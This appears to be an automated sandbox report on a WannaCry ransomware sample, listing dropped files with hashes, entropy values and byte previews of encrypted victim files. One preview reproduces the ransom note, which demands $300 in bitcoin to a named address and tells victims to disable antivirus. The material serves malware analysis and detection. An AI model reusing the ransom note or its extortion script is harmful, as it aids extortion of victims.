                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\CZQKSDDMWR.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:SysEx File -
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.803382368999752
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:/UUCtEXwUIq7udlETn2+/ZPD29lajnqQvwPLsZfKq:8fyAqznlkOnqnOfKq
                                                                                                      MD5:F3DAFE5AE4567F041B119C2BDCBF5D5D
                                                                                                      SHA1:30F36A7F40D3998A4D4C58CE9535BD95FBA11892
                                                                                                      SHA-256:3069AE04B6D10713FF5B83650149D4F5A22EF3576391D7D7FE0270371CD95926
                                                                                                      SHA-512:700B21CF6216D6B70A90E8757E2C07811271A0ECB3EE145EB528CA4FE5764941D31EBA453F2799AFACE4A3CCE7B5B07E075A288C6CAF5E4D0EE92B4B59B5AC12
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.].k.....@$.....0%.dE......0..Y.I.c....7.'$H.e.1|..fb0fE$.I.{...I...5......N.....d.?._.v.&.u.C.c.p..6.....3..MZ'>F...>.$+...O..%.6...f`..S.S..l..X.g.i.u..-.......{}..9.[....]..Rf.2.(....w..E.(..T..XIr..xL.yy ]...]..$......],_@..\L..)...,..og..l..M !.+..++A..[..3.[..n.....fw!.>,.5..N...z8"....1r.9..?.9...?....w.0.d.<..n.._.F...O...m_.....Z...(......m..%.^Pn.c...|.[.....,+.k..E..s.._Y.^...........\>.y.N..j..Y.P.Gk..x...........-..=..:..8...c..B5..A..R}_x%.7.c.....N6..8P....]........e...B...(3..Af.....{..u......e..p...bz3..aX6.2..f9..N.Q..Q...2..GKJ...f.W}%...~:jZx...;....z.*|.O.A.[.[L.....k.....:...6P...@.G{r....P>.....%8%w..]F....b.th.......[.+......7.N...Uw..\..`....gw.`0.......&t..W....2...._7..$B...GH.I.)Q..wD..'...&..^.p..I..B...:..?.......t!.E..9'N.C...H....o .L..F{.g.....?.}...c. ...^s\....T.....[...~P...p..aC.ye.U.G.v.p.."tC..|5)..U..-...n...>..;u.\..z`6...<...mz..a.`.S....o....^.._....)`..8..I.*`D.c-.B1..P......lAw=.X.)._Wp..n

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\CZQKSDDMWR.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.87498007583207
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMiA2HYl0IgbLKhz6tV9XKqFrxopojYgdqJK6eqdxAkAaweiM:bkM2Yl0ZooVpR7DcndYeiM
                                                                                                      MD5:BD2CDBFC9ECBD1D53F39D6F15C5B0C3F
                                                                                                      SHA1:4F0ABBD2D9257F8B2DA50157B058B7A11BCEB5B8
                                                                                                      SHA-256:6F088C2CFC725CC398C44F617C24025F3E5FFF0AB05794EF94E6B45C6E8F9DE3
                                                                                                      SHA-512:57E43FC194BEC4D5A0C4DDA93318E720A1F2CE24EA9BA49FDEB8624D003E2A830DB530DE6529DEA17D6D3F89D9EDA020F2F41B6D69CCD6D38BFFC481D99BD978
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........p.s .`CQHv.p...&.]7. p.=4.....b.E..I7)f1...'9!..Ge.N1.....8oi..6.xi.u._.............hPYh.0._.f.>.....0r.D.....Q.......6...........e...{..5n.c.. ...l}..w.....K+.'.>3k.32&.mt..........Am.EG..?.|......E.!./g*KFM..M..?RV<..u%4..p.5r=^..c\_\2.............[....pi.....+$..f.E....r.i./...j.t.F...W.\.I.aoJ...n........Rh.==.z.......r`FK..5............_<....).PQ.i5.\n1.=Ua.. `...c.......G.le1it'0{f$.y...7N../.=X.a.k..o..w.>.Oq..r..c=.v*,....uT*...&\..{U"O..+...`.|,...>.3.d...F...G............h..z.?G..3.w.\k!|..]t!.....As.54.I*.-:G..vF.^8........s:.<....W....0r..D'%.kid..i..j....7.._...G.............+#..z<....... .o............m.r7...Ku.t.q.[v....F....a=@..]Lu..F~B..t.*..2..........~\}0{s.<..L..6...\(.N..#{...R....t.+....)...A.s..v...;..q..mLL1..=e..n.FuN.K...1..L.....z.........8......3.[..>q{....M...b.z...;..(...vR=..s{.C../.I..Gx.i8?...sB.Q...]..^..h' .8"...*V.S..FhL....^.......k4...B..iX...5.2...x....".s.a.C .I....(y......

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\CZQKSDDMWR.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.87498007583207
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMiA2HYl0IgbLKhz6tV9XKqFrxopojYgdqJK6eqdxAkAaweiM:bkM2Yl0ZooVpR7DcndYeiM
                                                                                                      MD5:BD2CDBFC9ECBD1D53F39D6F15C5B0C3F
                                                                                                      SHA1:4F0ABBD2D9257F8B2DA50157B058B7A11BCEB5B8
                                                                                                      SHA-256:6F088C2CFC725CC398C44F617C24025F3E5FFF0AB05794EF94E6B45C6E8F9DE3
                                                                                                      SHA-512:57E43FC194BEC4D5A0C4DDA93318E720A1F2CE24EA9BA49FDEB8624D003E2A830DB530DE6529DEA17D6D3F89D9EDA020F2F41B6D69CCD6D38BFFC481D99BD978
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........p.s .`CQHv.p...&.]7. p.=4.....b.E..I7)f1...'9!..Ge.N1.....8oi..6.xi.u._.............hPYh.0._.f.>.....0r.D.....Q.......6...........e...{..5n.c.. ...l}..w.....K+.'.>3k.32&.mt..........Am.EG..?.|......E.!./g*KFM..M..?RV<..u%4..p.5r=^..c\_\2.............[....pi.....+$..f.E....r.i./...j.t.F...W.\.I.aoJ...n........Rh.==.z.......r`FK..5............_<....).PQ.i5.\n1.=Ua.. `...c.......G.le1it'0{f$.y...7N../.=X.a.k..o..w.>.Oq..r..c=.v*,....uT*...&\..{U"O..+...`.|,...>.3.d...F...G............h..z.?G..3.w.\k!|..]t!.....As.54.I*.-:G..vF.^8........s:.<....W....0r..D'%.kid..i..j....7.._...G.............+#..z<....... .o............m.r7...Ku.t.q.[v....F....a=@..]Lu..F~B..t.*..2..........~\}0{s.<..L..6...\(.N..#{...R....t.+....)...A.s..v...;..q..mLL1..=e..n.FuN.K...1..L.....z.........8......3.[..>q{....M...b.z...;..(...vR=..s{.C../.I..Gx.i8?...sB.Q...]..^..h' .8"...*V.S..FhL....^.......k4...B..iX...5.2...x....".s.a.C .I....(y......

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.804711541573734
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Vcl2XuKjjPJ4D78xIWQioKaaQAR9POjaAi3M//Ljisv:HuAjPqP85YAR9POjTaMbf
                                                                                                      MD5:B69A905A71658C9381CC0DBA638750BA
                                                                                                      SHA1:D40769C6C34F8072F2EE232C4D0DAF1CF97891AF
                                                                                                      SHA-256:113CC15B615DC56AB3E8195571B3F0F3AC04E49C84375AEC9B60EAF88EF9A2C1
                                                                                                      SHA-512:B475D46F269F5C9ECF3F276788C381A225208D30BAF73A7BEA28300FAB7C0F71C98520EC16724DBD147A7ECC125F1974DABF78679BF41A6822559735A5E8FF6A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:....o..#o..a.n..8BoBF.`..K?^(.PQM...y:.F8.!...o..yS{......,.0.X0.)j'v9.~X...^.(._.......L...i...>.S.1..q..m..y.%...4....n..>|...L..,.W..P..:+....Z.F>f..O..~.vs.....>..OB..P.Q..b.l.lt.8....TL....HhM...n...3H;.Q...y.'1.#.?.6........C...5.#z..CDa.j.y0.T..W...YSB.o....&V *T.}.t;...UM.T.E:d....K@..6...B..BR....7Zm..WlP.Y....(..0".L...S.a...2.V..5..y..U.>.c.o...8.2..)....Q..t1.....e.L..Q.oB.%.l.,.C... ..|x...A.|./y10.;./..............8......k.JXR.6...m.jTY 7.s...U@..a.).\.Th...f.......wE.=1....EI34...89.y.p.%M.j.....M...@......JZo.......!%Xb..."...!...N...1.c...JKHH.4F...cP......*y..a...x..z...iQ@..T....J%;.....Ip....`..'AP..Q8Y...?.+..^.5U6..U8.[X.B..5W....u.ro....ho>..*S.&.^.>...."...g.|.M#u..s.}.i..6.G[..ax..Mq....c.j....#/hY.......H..].z....7...R....>.5G...5M.K.D._..O_..:.(N)..6<~..Mf)J9..:-....B...^Mf.........'....U...K.-./Z..u8c..n"m.../.(.-m.L.1...j.E:..`...5@.uK.psA.8D:.AG7.....*......yb.|.lORL.k.."./........].x.+.Bw]P.C..^LDf..<..Bq..M..

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.835478191724969
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYx+cBRhbbXSNUJDHvrKh7oXMuMrEHKiV8OBsR12Kj8fBYZraAP5XJg:bkYx+6Rh/6Up07oXbHKfxpjCB0zXO
                                                                                                      MD5:60F5DA7DBECFDCB3475CAA6F217A7DCD
                                                                                                      SHA1:787E01FBF2E691A2519813903110FB964FF78DCE
                                                                                                      SHA-256:1F18B4897505A2B7AC145F41847519B857686ED0B9B8DB1FCFCE26C302E4F3B5
                                                                                                      SHA-512:A2DD0FD26780E16A5F6F31D8836A90F87C81D7CA6BE04ACC07D8AE5A6410E6988CB4D013A4EB3508EB949E035085309F7AB5B1C7D51D3842341F19E6F226D3C4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....w......qk..?.h.0...../p{'/....).....'.i...u........cG...Y(..........x.6..Qj./.7..\o.'<7..9....v....k..i.+.....?mKP.u|.=x...$....KF..!2......2...S. .S.#..+..\:....H.u..u... . .5.7i...b.\5.8=.$......g.k.&.H.....&M.Y.v~..puN&(........N0YH.V.. ..............1c.b.0V.....+...0*.t...f.....OX...53G.a..xeu....{.+....o....0T;.@./...h.fX.qi..]"..z.....5..v.b.H3..b...6........].........qu...JI.4\.vqm......=..Dj.Tqde...<.....7.JH..D.......S7...j`2;3.6c. N/dp.B....e.....c.....j.?I%..5}.........Bq..........4...^..N. lE...{.E..>......Z.V... .U.m....E...<Y.....T.8..;...&...[`x....m.dF......{....K..X...&.....2...2.k>%..CTy.1N.o...K..J.N..-d.a5Q...*...9.y........q.X)..+.m..D..{.^;..f(I...F.~..^.......3`.5?...S..Nu.O....>._j.*...m?...5.&...,...,;..p&TO...>...VS.[.'.Xk..DlR/...`xWS.|NE..v!.@^i.....&.;.Wy..:Z...U"..........>:....|.6...S8....+8fD.L]......|@=..u.._.#...8/..V..>.VY.0XXdI....@.....8`.q....p......-n"^..B.y.....}..i0y3..V...

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.835478191724969
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYx+cBRhbbXSNUJDHvrKh7oXMuMrEHKiV8OBsR12Kj8fBYZraAP5XJg:bkYx+6Rh/6Up07oXbHKfxpjCB0zXO
                                                                                                      MD5:60F5DA7DBECFDCB3475CAA6F217A7DCD
                                                                                                      SHA1:787E01FBF2E691A2519813903110FB964FF78DCE
                                                                                                      SHA-256:1F18B4897505A2B7AC145F41847519B857686ED0B9B8DB1FCFCE26C302E4F3B5
                                                                                                      SHA-512:A2DD0FD26780E16A5F6F31D8836A90F87C81D7CA6BE04ACC07D8AE5A6410E6988CB4D013A4EB3508EB949E035085309F7AB5B1C7D51D3842341F19E6F226D3C4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....w......qk..?.h.0...../p{'/....).....'.i...u........cG...Y(..........x.6..Qj./.7..\o.'<7..9....v....k..i.+.....?mKP.u|.=x...$....KF..!2......2...S. .S.#..+..\:....H.u..u... . .5.7i...b.\5.8=.$......g.k.&.H.....&M.Y.v~..puN&(........N0YH.V.. ..............1c.b.0V.....+...0*.t...f.....OX...53G.a..xeu....{.+....o....0T;.@./...h.fX.qi..]"..z.....5..v.b.H3..b...6........].........qu...JI.4\.vqm......=..Dj.Tqde...<.....7.JH..D.......S7...j`2;3.6c. N/dp.B....e.....c.....j.?I%..5}.........Bq..........4...^..N. lE...{.E..>......Z.V... .U.m....E...<Y.....T.8..;...&...[`x....m.dF......{....K..X...&.....2...2.k>%..CTy.1N.o...K..J.N..-d.a5Q...*...9.y........q.X)..+.m..D..{.^;..f(I...F.~..^.......3`.5?...S..Nu.O....>._j.*...m?...5.&...,...,;..p&TO...>...VS.[.'.Xk..DlR/...`xWS.|NE..v!.@^i.....&.;.Wy..:Z...U"..........>:....|.6...S8....+8fD.L]......|@=..u.._.#...8/..V..>.VY.0XXdI....@.....8`.q....p......-n"^..B.y.....}..i0y3..V...

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.821136287893064
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:+xRQ6HLezdDa1KkWUJgDZticB5/RNSI2cAa9fpiY3aAzk0:+xR9rqJKKfUSNtLPSIjAa9xiYKAg0
                                                                                                      MD5:69D5C8D2C8BB18D5AFDE78E4D3F6CD82
                                                                                                      SHA1:364C15E011BA012F85112CF01EC4FCB043011987
                                                                                                      SHA-256:4F506AFEAEC59B1F6C53566475D75E67CC32A4E29B872F1E7823C77F0842AB16
                                                                                                      SHA-512:697FBA1590918BC83CF63049A30793B66C6F1E56E20BCE7F1807A22A78AFABD35F19B42EC5C080D808E9CDA776303FEBCBC9DA63B3232DAFA685C2DF05F7450E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:<..R?Tp...^...p.z....e.-"....S=)e.|Sg..../yr...$-..B.P_M6-.w..>.5s...p..M..|.*.H.....L%...k?...n.f.X..Zw0$*.B.V..k........m. ..\.K..a.e.......N$....o.N....{T....|!......y...G..|.k.'..u1f^P.u.7._..BU..Y.:.....[}.....c[.4X..]$..9|.v..z.y.v.x.e..P..e..Ai..cvnc..4..7./....*..^...d......T...#,.!DSh.m.....h..3./M...l&/...c...7G.f.@.|WIn~....Pf..M....4.o..|..e...%.4.^.6....0..&.j..[..J...(?....H....-.k..._D.3..Y.L!...;...[.c.}:..G6n...1.....c..`.....qz...o....+.t...E...B.uJ.8.G."^..>..Fx.Sf6...%.,..mC.v.3/N....}"J.oJVXV].bs.(C0tn.U..d.TG...3..P..$.i.,.y.:..z4.}.A-.+.G.Vx4..p..:....k..../(9...q..$0N..<@+R.a.mC..W|.....K...:...$..'\........b.s.X.n J.}..e-W.f..O.u.?.....b(.=..)..O.....t..........I1...K_-....Y.,4...FxRFE;...8j...=....uXh!....T.%^..:...lmk12...$?.:.{^..c.....T.......N.....}F...G.U.@..G....h.9..w..?.....&..`.T.T..N&.^...).....*...Dj>......_)...#..CbrQ}..P.......<W.......".>.Z..n...w.."......d.;...WR.+D..O=.\.\..T.^.iz.tT...U..

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.806112219373668
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkC4pxUPdAqPbG23hxLzZM1E1mHvMcW4+HXcYqJ4vEko7oe9ywid+3u/QuM:bktqPiixLzZM1E1mHs7sYqSvE35
                                                                                                      MD5:4D9F8FB03189930B6A6E8BC191CE73FB
                                                                                                      SHA1:BA7FED20154251E9B236311A252885EE895D1C81
                                                                                                      SHA-256:4737DBD765D3EAC6D512F1B4AFE07E1AD24E85D3FF96DAF59E5B9ECACEF36DC2
                                                                                                      SHA-512:5C55226F5BEB0CC327318A1F6562A04F2B00F8DCF108153726B2418390E1953CDA8412F0943BE21734EBC8229D39C746E8D464BE07CB2679B83EFE05BD03F6D8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!............S...7......L2B_B.9Y.. .....+...W|...N...#.(...OW!..Kz>...@.s..h{.:...gR...Hb.9Kp')-..K\,K......N..P..6;.g...ft.'.V._....0...0.!..X.@.....k...W'..o.jPDM..;X.O..w-d......vG..s...<.>..@1..pt.W.-......p.^...$.......|.S.: .J.le..1..'..../H...............`..../2.....e.)........D..a......>.{:...^B..a.U...;...q.Aq.reWF..D..Q.....e..m-...sk...........I.{..yY...)3K+..1........B2{.E|>..G.;..;..3./..xo..7._..0..Q....K~|...m....zJ...`....{~......U'.tox..d{6(.T..(."...rt.3....D7f.....o.W.uS...1m.).....-U.a.r..'!...0.3H.{.....8...Z..7..Y..%9V:.|a8....^.................0H[[.b.F..][m......!.l^p..C....f.0.x_y.$.c:..p....2q....}h..D5.}jae!...<hZkfE%..J.F....M..2K....(....Q.5..j-..zU....].=-O.A..Vv..V....%....d.+...;p.?.....h.P.Nr.7.B...,..c|k...lWqP.'}.w.!....-.6A..("...,b..'v. 3.......`....(}E8o4{...N.x......r{x...L{..D(~..-B..'..'.A......l...:@...&.v~..."'.......+B...V......\...m,.......{.8cPBC.. K-...... ..t...`...&..........'f*.K...

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.806112219373668
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkC4pxUPdAqPbG23hxLzZM1E1mHvMcW4+HXcYqJ4vEko7oe9ywid+3u/QuM:bktqPiixLzZM1E1mHs7sYqSvE35
                                                                                                      MD5:4D9F8FB03189930B6A6E8BC191CE73FB
                                                                                                      SHA1:BA7FED20154251E9B236311A252885EE895D1C81
                                                                                                      SHA-256:4737DBD765D3EAC6D512F1B4AFE07E1AD24E85D3FF96DAF59E5B9ECACEF36DC2
                                                                                                      SHA-512:5C55226F5BEB0CC327318A1F6562A04F2B00F8DCF108153726B2418390E1953CDA8412F0943BE21734EBC8229D39C746E8D464BE07CB2679B83EFE05BD03F6D8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!............S...7......L2B_B.9Y.. .....+...W|...N...#.(...OW!..Kz>...@.s..h{.:...gR...Hb.9Kp')-..K\,K......N..P..6;.g...ft.'.V._....0...0.!..X.@.....k...W'..o.jPDM..;X.O..w-d......vG..s...<.>..@1..pt.W.-......p.^...$.......|.S.: .J.le..1..'..../H...............`..../2.....e.)........D..a......>.{:...^B..a.U...;...q.Aq.reWF..D..Q.....e..m-...sk...........I.{..yY...)3K+..1........B2{.E|>..G.;..;..3./..xo..7._..0..Q....K~|...m....zJ...`....{~......U'.tox..d{6(.T..(."...rt.3....D7f.....o.W.uS...1m.).....-U.a.r..'!...0.3H.{.....8...Z..7..Y..%9V:.|a8....^.................0H[[.b.F..][m......!.l^p..C....f.0.x_y.$.c:..p....2q....}h..D5.}jae!...<hZkfE%..J.F....M..2K....(....Q.5..j-..zU....].=-O.A..Vv..V....%....d.+...;p.?.....h.P.Nr.7.B...,..c|k...lWqP.'}.w.!....-.6A..("...,b..'v. 3.......`....(}E8o4{...N.x......r{x...L{..D(~..-B..'..'.A......l...:@...&.v~..."'.......+B...V......\...m,.......{.8cPBC.. K-...... ..t...`...&..........'f*.K...

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.809793064595606
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:EN3bvQA2CDx5uMtPnMwt/0ns6y87iArk8isgbRp7auG:ENL52+/PLt/6s6P7idZ1G
                                                                                                      MD5:790B1BC531A353F12D9FF204F53B7515
                                                                                                      SHA1:733CD40BCA59F91FA19860F5174A6AD07A071488
                                                                                                      SHA-256:79D12CCCEC0F55C486056C0A41F00C2A7BC81F3B76A918E894CB9AFD6F643660
                                                                                                      SHA-512:93887D08BF49280260F007FF2C949E5BCBB5B93814D0C34C46AA4CC20287D3DC4BF5D91EC525FFE3E952997DFE8BEEBCA765DE56BD67E35DEA0C6905B56EEF88
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.;....A;'Yob..//..g.,....Bm..+N.$....l.?..X..x.p.l.#......A0.b."BX.\4l.Lq.~Y...cR..._.<...kijX,..n....=a..|...S.b...c>..aD .G..U|_X..#..|.._`VJ......29O@..h..w....e.h.i..{....z.F>:.v6..|Eg..H.A<f3;..|d1..M.j....\.......{+..$..d.E(..Z.?OE.*..:.%..*...~.J.....P~..J.TW|....x0..p..9....S...+}.X.c.{.0.69..o..Z....i..R.....j'.[G0`.Hk.5.B;.~..{...9}g.3.=...C...n...._.[...".C).hS.a.)...2...zm...'.'...V.{..x...6..bfnA8.$y.....\..d....gC.$'.?..^. k.W...(.....idew*B.....=..wqQ0.JW...6%k..:)..}@..wc......(.)e..Y.o....#w..t[.b....j..ZK........iI*./....u...%\p.Ob.F.$..Z.o....K.>t...A.'.p...$l.{JF^..a...a..H-..h.@*.L.P..2h(ir..<.'..Y.....%.......5.\agPA..Tg._...?X .y....{[.t.mVg.....k.U...0..$.F@!.Sc.T3~.n.\d<.9.{_....o.u|....a.I%.._$o...d......x....]`{.\8uF....t6...K...E...?.....8...3..E....Z..".oyi.M.@f.AO...$.LZUy.h...A...H.I..y?8%7.}A.m.e.L...p&.......m.....IH..t...P..B.T..bx.....>.~.6#(...j..W....W.&.}_.R.f.7[.'... .).^...Q.|Ol..$./.N..w.;.k.

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849514431871906
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjtiswDh5fK9qGElMzN9oqWwZOlZlIYjaCQJr6wczY0nHMze6V80Gs5hzhewi:bkJiswDh5K9qTlU9tPZO+safJr6JOKqs
                                                                                                      MD5:5C0125C43B707A20AF2A4A78C8D428E0
                                                                                                      SHA1:DEFF0F264A5CA9708EE5D51A26917B7F5D51476B
                                                                                                      SHA-256:8DECF53CE17BDA2F4ED566B63683C10F3ABACBB280DC1671E949304DDA6A4EBD
                                                                                                      SHA-512:776D3411F7EEEB08A41898A870B0CA577DAA6F0E6461C9E777A1729530F9F189CAAA2C63753376769B8DF436EA475EE6E9900875C31F4AB0520D9B32415293D5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....1../....z Y..GU..b.M....7.B\..M..^!.I{b.R...).EC`o._...*.........Z?w..0.q.s]!{/I.6#3%...D...2 .B....7.....!.+}./H.LW{.c...x.r.........3.b9.9.7.w......i#..N..'.2.N......q9.z.o...m2<.$YD+t...['.....].8....1.......I?...V...{A..t....6..D......c..+.............{.M\x......z}..lk......<A.[`..X. N.`.86.O...\zi.....Y1..n.v..8.<.+wr..........Y..Q`..6p_.6.Z.]:D.`h....W..C?@*t.G.Zu5R.*..).>..:........^...O....!.:/.:l^h.-.../.>.Dx&.!.V..........&...j.f.qB.P.....m.w.......ud....%..r..t...D.U...qy-KZ...N...z/I........7pT.%...8. iX7V...>...W.brt..;..L...I!dM.....{?.f!....<.....lh....;......u....4!....BDub.@..x.$>..{..n.4}..1.O./..5"0XY..Z.).0.....I.c=.T..@j......7.%.............2G~.VF-L...L....C4.B"G.P....~.:..T.....KMV..x.....;W...^....k.0._.4.....uv5&=s...G:....m..%.....'....G.a...=..k..T.J......4...W|../..kJd..ZY.1M..`yF+...K...S8.e.)@...\......o....M0H..U...a...........I?......U..IyuE.S...O..*.Q...pT..Q....E....JDT:]o...=..QC....0.

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849514431871906
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjtiswDh5fK9qGElMzN9oqWwZOlZlIYjaCQJr6wczY0nHMze6V80Gs5hzhewi:bkJiswDh5K9qTlU9tPZO+safJr6JOKqs
                                                                                                      MD5:5C0125C43B707A20AF2A4A78C8D428E0
                                                                                                      SHA1:DEFF0F264A5CA9708EE5D51A26917B7F5D51476B
